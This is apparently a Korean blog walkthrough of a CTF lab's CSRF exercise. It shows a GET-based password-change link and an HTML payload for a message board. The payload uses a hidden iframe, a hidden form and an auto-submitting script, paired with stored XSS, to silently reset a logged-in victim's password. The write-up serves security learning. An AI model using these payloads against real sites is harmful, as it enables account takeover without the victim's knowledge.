본문 바로가기

보안지식/CSRF

CSRF 공격 - 실습 (1번 풀이)

CSRF 공격 실습을 해보겠습니다.

 

 

 

그렇군요 지금 admin의 비밀번호을 안 바꾸고 제 계정으로 해보겠습니다.

 

음..

 

일단 정상대로 회원가입을 하고 로그인을 해보겠습니다.

 

 

 

좋아요

 

그다음에 저희는 특정 아이디의 비밀번호를 변경을 하는 거잖아요? 그러니 한 번 비밀번호 수정을 해보겠습니다.

 

 

 

수정하기!

 

그런 다음 버프 스위트 통해 확인해보겠습니다.

 

오호..

 

그냥 단순하게 id가 hello 이고 새로운 비밀번호를 작성해 보내기만 해도 되는지 한 번 리피터로 이용해 보겠습니다.

 

 

 

되네요

 

그럼 이번엔 GET 방식으로도 통하는지 해 보겠습니다.

 

 

마우스 우클릭 후 change method 하시면 POST에서 GET으로 바뀌어요

 

send하니깐 잘 되네요!

 

 

그럼 이 걸 이용하겠습니다. id도 자동으로 할당이 되고 비밀번호 값만 바꾸면 되겠죠?

 

그러니깐 링크 생성 할 때 이 마이페이지의 링크 이용하면 되겠죠

 

 

http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?info=&pw=12345654321

 

한 번 이렇게 링크 설정하고 해보겠습니다. 피해자는 로그인된 상태라고 가정을 하고요!

 

 

!!

 

 

그리고 다시 한번 로그인해보겠습니다.

 

 

비밀번호 다른 걸로 해볼게요

 

성공!

 

 

이렇게 링크를 통해 공격이 가능합니다.

근데 대부분 개발자 분들은 이러한 중요한 정보 수정이나 입력은 GET방식을 막아 둡니다.

 

어쨌든 이렇게 공격이 가능하다라고 설명 드리겠습니다.

 

 

그런데 의문점이 있으실 거예요!

-저렇게 하면 링크 들어가서 회원이 수정된다는 걸 피해자도 알아채지 않을까요?

 

 

그럼 안 보이게 게시판에다가 링크를 자동으로 보내지게 하겠습니다.

 

 

이렇게요

 

form 태그를 이용하여 GET 방식으로 회원을 수정하는 데 값은 input hidden으로 안 보이게 합니다.

그리고 스크립트 이용하여 document.form[0].submit() 은 자동으로 form 태그가 실행되게 합니다.

 

 

물론! 게시판에 스크립트 공격이 통한다는 가정하에 되는 겁니다.

 

이게 바로 XSS 공격이랑 병행 하는 CSRF 공격입니다

 

그리고 들어가 보겠습니다.

 

 

HELLOOOOOOOO

 

 

 

누르기만 했는데 수정이 성공했다고 나오고 링크 보시면 이상한 데로 가진 게 보이시죠?

 

 

좋아요! 공격 성공...

- 저렇게 수정에 성공했다고 나오면 누구나 해킹당했다고 알아차리잖아요!

 

 

그래요 그럼 iframe 태그 이용하여 새창으로 실행되는데 눈에 안 보이게 만들겠습니다.

 

 

 

 

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe>
<form method="GET" action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="12345654321">
</form>
<script>
document.forms[0].submit();
</script>

 

이렇게 iframe 태그에 너비랑 높이 0으로 주고 style에 display을 주면 눈에 안 보입니다

 

이 코드 형식을 잘 기억해두셔야 돼요

POST 방식 공격 때도 같기 때문이에요!

 

 

 

hello2!!! 들어가보겠습니다.

 

이렇게 나옵니다

 

alert 확인 눌러도 아무런 반응 없어요

 

한 번 버프 스위트 통해 확인해보겠습니다.

 

 

!!

 

이렇게 클라이언트가 모르게 회원이 수정이 되었다는 것을 알 수 있습니다.

 

 

 

 

 

 

좋아요!

2번은 다음 포스팅에 작성하겠습니다.

 

 

 

5/25일 추가 코딩을 하겠습니다. iframe에 sandbox 설정해서 들어가면 alert 관련 스크립트가 실행되지 않게 하겠습니다.

 

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;" sandbox="allow-scripts"></iframe>
<form method="GET" action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="12345654321">
</form>
<script>
document.forms[0].submit();
</script>

 

이렇게하면 이제 alert 문이 안나오고 비밀번호가 변경이 될겁니다

'보안지식 > CSRF' 카테고리의 다른 글

CSRF 2번 공격 시나리오  (0) 2023.05.28
CSRF 1번 공격 시나리오  (2) 2023.05.27
CSRF 공격 - 실습 (3번 풀이)  (2) 2023.05.22
CSRF 공격 - 실습 (2번 풀이)  (0) 2023.05.21
CSRF 정리  (0) 2023.05.20